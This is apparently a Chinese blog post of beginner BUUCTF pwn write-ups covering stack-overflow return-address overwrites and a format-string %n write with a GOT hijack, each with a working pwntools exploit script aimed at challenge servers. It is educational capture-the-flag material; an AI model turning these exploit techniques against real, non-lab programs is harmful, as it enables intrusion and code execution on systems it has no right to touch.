buuctf pwn入门1

目录

1. test_your_nc(简单nc )

 pwn做题过程

 2. rip(简单栈溢出)

3. warmup_csaw_2016(栈溢出 覆盖Return_Address)

4. ciscn_2019_n_1(栈溢出 浮点数十六进制)

(1) 覆盖v2值

 (2) 利用system("cat /flag");

5. pwn1_sctf_2016(字符逃逸栈溢出 32位)

6.  jarvisoj_level0(栈溢出 )

7. [第五空间2019 决赛]PWN5(格式化字符串写入漏洞)

做法一:格式化字符串漏洞

修改内存

做法二:read将atoi_got改为system_plt

ubuntu 下载 pwntools


1. test_your_nc(简单nc )

下载下来test文件 拖入IDA 说不支持,让用64

在拖入IDA 64中

按下shift+f12,打开string window,

发现/bin/sh

双击/bin/sh, 鼠标点击command,再按键盘X,发现/bin/sh的address在main函数里

 点击option->general,勾选相应选项可方便看代码,具体如下:

变成了一行一行的

 再按F5 发现main函数很简单,就是单纯system函数直接调用了/bin/sh,所以直接nc就行.

 所以我们打开kali

nc node4.buuoj.cn:28180

nc即netcat,也被称为瑞士军刀,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等

web打靶场的时候有时候反弹shell用到

nc ip地址 ip端口

ls 发现flag cat flag得到flag

 pwn做题过程

1. 拿到题目附件,将它在对应的操作系统环境下打开(一般来说是ubuntu)。先执行一下,了解一下程序的大致运行结果。
2. checksec命令,了解程序的保护方式。针对不同的保护方式,大致了解题目的难度等级。(萌萌新的题目应该大多是没有任何保护的,但是之后的很多题都会附加很多复杂的保护)
3. 用ida打开题目,对题目进行一个程序逻辑的逆向。
4. 通过逆向找到程序的漏洞点。
5. 思考漏洞利用方式,并开始编写脚本(适当时动态调试辅助脚本编写)。
6. 脚本编写完成后,先在本地尝试getshell。成功的话连接远程拿flag

 2. rip(简单栈溢出)

下载 得到一个无后缀pwn1文件 应该是elf文件

checksec查看文件保护

file 查看文件  是64位的  IDA 64打开

main函数F5查看伪代码之后,得到 发现危险函数gets,可以判断存在栈溢出漏洞

fun函数这里发现 system("/bin/sh");

 

 接下来思路就清晰了,我们需要利用gets函数获取一个长字符串覆盖rip来控制程序流到fun()函数

函数的局部变量会存放在他的栈中,那么在main函数中,我们双击s变量,查看s分配了多少空间

这里可以使用gbd动态调试,也可以简单点直接算

0x0-(-0x0f)=0xf

 是15个字节的空间,也就是在main函数的栈帧中,给s划分了一个15字节的存储空间 偏移量为15

因为是64位的EIF文件,所以rbp是8个字节(基础知识)

CTF PWN基础知识(寄存器、栈、汇编指令、标志位)详解_cl寄存器_游走来回的博客-CSDN博客

那么我们还需要8个自己的数据把Caller’s rbp的数据填满(当然在本题中应该是rbp,因为是64位的系统),这样可以溢出进入Return
Address了,所以接下来我们输入Return
Address(返回地址),也就是说,也就是fun函数的地址,地址我们可以看到是0x401186

from pwn import *

p=remote("node4.buuoj.cn",28419) #靶机地址和端口
payload = b'a' * 23 + p64(0x40118A)
#char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡,p64()发送数据时,是发送的字节流,也就是比特流(二进制流)   不+1拿不到 问了问队里大佬,是libc版本问题 2.23就好了
# 也可以直接传入 执行/bin/sh时的地址 ex40118A
p.sendline(payload)
p.interactive()

执行cat /flag 得到flag

3. warmup_csaw_2016(栈溢出 覆盖Return_Address)

ret2system  ret2text

与rip 类似

checksec看一下文件保护模式:

64位小端序文件

IDA64 打开 分析一下

shift+F12 发现 cat flag.txt 跟进查找 在 sub_40060D() 函数里

main() 函数里 看见gets() 函数 存在栈溢出 

计算偏移数

gets函数向v5输入数据,因为gets不限制长度,所以构成溢出,这里的[rbp-40h]表示输入点距离rbp寄存器的偏移为40h,而64位文件 rbp占8个字节。rbp自己还要占用8个偏移,因此从输入点到返回地址的偏移为40h+8h=48h   然后才会覆盖掉 Return Address

覆盖Return Address为 sub_40060D() 函数 地址 0x40060D

poc如下:

from pwn import *

p = remote("node4.buuoj.cn",27973)
payload = b"a" * 0x48 + p64(0x040060D) 

p.sendline(payload)
p.interactive()

4. ciscn_2019_n_1(栈溢出 浮点数十六进制)

checksec查看文件保护

 没有保护机制

IDA 分析一下

 看见 func函数里 存在 gets(&v1); 存在栈溢出

(1) 覆盖v2值

然后进行一个判断 如果 v2==11.28125 就执行 system("cat /flag");

双击func()函数查看汇编代码时,可以看见有一个分支 系统调用

 双击进 dword_4007F4

可以看到 11.28125在内存中的16进制表示为0x41348000

因此 我们只需要计算出 偏移数  溢出覆盖v2为 0x41348000即可

偏移计算

也可以双击v1 v2 进去。v1在var_30  v2在var_4

所以偏移为:0x30-0x04 = 0x2C

from pwn import *

p = remote("node4.buuoj.cn",29426) #remote建立远程连接
# p = process("./ciscn_2019_n_1")   本地运行
payload = b"a" * 0x2C + p64(0x41348000)

p.sendline(payload)
p.interactive()

 (2) 利用system("cat /flag");

还有一种方法,我们可以 覆盖Return Address 为  if里的 system("cat /flag");地址。 从而跳过判断,直接通过栈溢出让函数返回执行system(“cat /flag”)

这里可以看到 cat /flag的地址为 0x4006BE

poc如下:

from pwn import *

p = remote("node4.buuoj.cn",29426)
payload = b"a" * (0x30+0x08) + p64(0x4006BE) 
# v1到rbp的偏移量 0x30 + rbp本身8个字节 + cat /flag的地址 
p.sendline(payload)
p.interactive()

5. pwn1_sctf_2016(字符逃逸栈溢出 32位)

checksec 查看保护程序

file查看文件 32位ELF文件

 导入到 IDA32中 看见vuln()函数,反汇编一下

 发现fgets()函数限制输入32个字节到变量s中

虽然 限制了输入32个字节,但是我们可以看到 在 replace((std::string *)&v3); 这里的relpace函数他会 将 I 替换为 you  1字节变三字节 这里可以逃逸出两个字节(有点类似web里的反序列化逃逸原理)

后面 还会 strcpy(&s, v0); 重新给 s赋值 因此我们可以利用这个 replace 去 栈溢出 覆盖Return Address

偏移计算

 

r为返回地址处 所以偏移量:0x3C + ebp的四个字节  = 0x40 即 64个字节

每个I可以被替换成you,所以输入21个I 和一个 a 就能让栈溢出 再加上要覆盖Return Address的函数地址即可

找危险函数

get_flag()函数里 会执行 system("cat flag.txt");可以得到flag   起始地址为:0x8048F0D

 poc如下:

from pwn import *

p = remote("node4.buuoj.cn",27622)
payload = b"I" * 21 + b'a' + p32(0x8048F0D)

p.sendline(payload)
p.interactive()

6.  jarvisoj_level0(栈溢出 )

和上五道题一样。。。 无保护程序 找偏移量 找危险函数 溢出覆盖Return Address

checksec 查看文件保护

file 查看文件属性  64位ELF文件

IDA64打开 分析一下

vulnerable_function() 里有一个 buf字符数组,栈里长度 0x80h 但是read读可以读0x200 存在栈溢出

偏移计算

偏移量:0x80 + rbp的8个字节 = 0x88

找危险函数

callsystem()函数这里会执行 /bin/sh

 因此 通过栈溢出让函数返回地址为 callsystem()的起始地址即可

callsystem()的起始地址为:0x400596

7. [第五空间2019 决赛]PWN5(格式化字符串写入漏洞)

 checksec 查看文件保护 没开启 (看别人wp发现都说开启了 canar 难道是我checksec的问题吗)

file查看文件属性 是32位的ELF文件

 后面在ubuntu里执行python脚本时 发现开启了canary

载入IDA32 分析

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int fd; // ST14_4
  int result; // eax
  int v4; // ecx
  unsigned int v5; // et1
  char nptr; // [esp+4h] [ebp-80h]
  char buf; // [esp+14h] [ebp-70h]
  unsigned int v8; // [esp+78h] [ebp-Ch]
  int *v9; // [esp+7Ch] [ebp-8h]

  v9 = &a1;
  v8 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &unk_804C044, 4u);
  printf("your name:");
  read(0, &buf, 0x63u);
  printf("Hello,");
  printf(&buf);  //存在格式化字符串漏洞
  printf("your passwd:");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == unk_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");  //满足条件 则拿到shell
  }
  else
  {
    puts("fail");
  }
}

把随机数放入到0x804c044处,用户输入用户名和密码,如果密码和随机数相等 拿到shell

但是因为这个dword_804c044从服务器读入,无法知道其内容,所以使用%n将其数据修改,随后passwd输入相同的数据即可得到shell 

这里有两种办法:

  • 格式化字符串漏洞 利用第一个 read 将 0x804C044 地址改写为一个确定的值,再往密码输入这个值
  • 利用第一个read将atoi_got改为system_plt,再send/bin/sh\x00,使得程序在本该执行atoi的地方执行system("/bin/sh"),从而获得shell (这个还没学到)

做法一:格式化字符串漏洞

我们利用格式化字符串看看 输入的内容在第几位上会被解释成格式化字符串 

首先我们先利用利用AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x的形式来计算偏移量:

 第十个输出正是 41414141 所以偏移量为10

格式化字符串介绍:

 知道偏移量后,那我们怎么利用 去修改dword_804c044的值呢?

 可参考:格式化字符串漏洞_as1r_p的博客-CSDN博客

 %d - 十进制 - 打印十进制整数
%s - 字符串 - 打印参数地址处的字符串
%x,%X- 十六进制 - 打印十六进制数
%o - 八进制 -打印八进制整形
%c - 字符 - 打印字符
%p - 指针 - 打印指针地址 即void *
%n - 到目前为止所写的字符数

当然,功能也不仅限于控制显示的数据类型,还能控制显示的宽度和队列。
%<正整数n>c 打印宽度为n的字符串(打印长度为n) 

特别要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数(四字节)写入参数地址处(赋值给一个变量)。32位的程序,%n取的就是4字节指针,64位取的就是8字节指针。
%hn 写入两个字节
%hhn 写入一个字节
 

关于$符号 

写入:%<数值>c%<正整数>$ <类型>
%44c%5$hn 就是向第 5 个参数写入 44 这个数值。

读取:%<正整数n>$ <数据类型>,指定占位符对应的第n个参数,例如 %8$x 就是以 x 格式读第 8 个参数的值

举例:

printf("%10c%n",65,0x41414141);

打印9个空格加上一个A,所以会往地址0x41414141处写入10(4字节)

printf("%1234c%hhn",65,0x41414141);

因为1234=0x4D2,所以会往地址0x41414141处写入0xD2(1字节)

修改内存

在格式化字符串中 有一个 特殊的格式化控制符 “%n”,"%hn" "%hhn"也可以。%n可以将已经输出的字节个数  写入到 指定的(偏移处的值) 的地址中,配合$直接修改第几个参数来修改想要修改地址的值

 用法:%修改数据c%偏移$n

 因此,我们要更改 0x0804c044地址的值  可以把 0x0804c044 输入到 第十个参数

比如之前我们输入 AAAA 第十个参数值为:41414141  这里我们输入 0x440xc00x040x08 小端序

 然后 后面跟%10%n   (%偏移%n) 可以将字节个数4 写入到 0x0804c044地址 里

 poc如下:

from pwn import *

p = remote("node4.buuoj.cn",28357)

payload = p32(0x0804c044) + b'%10$n'
# payload = fmtstr_payload(10,{0x804C044:0x4})  fmtstr_payload()是可用于格式化字符串漏洞的函数
#pwntools自带的格式化字符串漏洞payload构建工具——fmtstr_payload
p.recvuntil('your name:')  #与shell进行交互
p.sendline(payload)
p.recvuntil("your passwd:")
p.sendline('4')
p.interactive()

还有一种 不用%n 而是用%hhn 可以逐字节写  可以学习一下思路

from pwn import *

io = process("./pwn")

#一个p32生成的数据是4个字节,4个一共是16字节
payload = p32(0x804C044) + p32(0x804C045) + p32(0x804C046) + p32(0x804C047)
# 在原本存储随机数的内存地址上逐个写入0x10(十进制16),这样就使原本随机的密码变成已知
payload += "%10$hhn%11$hhn%12$hhn%13$hhn" 
io.sendlineafter("your name:", payload)
io.recvuntil("passwd:")
io.sendline(str(0x10101010))

io.interactive()

pwntools也自带的格式化字符串漏洞payload构建工具——fmtstr_payload() 参数是(偏移,{地址:值})

做法二:read将atoi_got改为system_plt

from pwn import *

io = process("./pwn")
elf = ELF("./pwn")

atoi_got = elf.got['atoi']
sys_plt = elf.plt['system']

offset = 10
payload = fmtstr_payload(offset, {atoi_got : sys_plt})

io.sendlineafter("name:", payload)
io.sendlineafter("passwd:", "/bin/sh\x00")

io.interactive()

参考:BUU_[第五空间2019 决赛]PWN5 - Yic's Blog

ubuntu 下载 pwntools

pip在下载时会有问题,报错: sys.stderr.write(f"ERROR: {exc}")

解决方法:

wget https://bootstrap.pypa.io/pip/3.5/get-pip.py

下载完成后执行下面的命令

python3 get-pip.py 

 pip 下载pwntools

pip install pwntools

python3 -m pip install --upgrade pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple

安装 pwndbg

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

pwntools报错“NameError: name 'process' is not defined”

修改python脚本文件名 不是pwn即可

换更新源

Ubuntu16.4关于apt功能update忽略所有文件问题的解决方案_安装apt-get一直忽略_僚机武士的博客-CSDN博客

  • 0
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值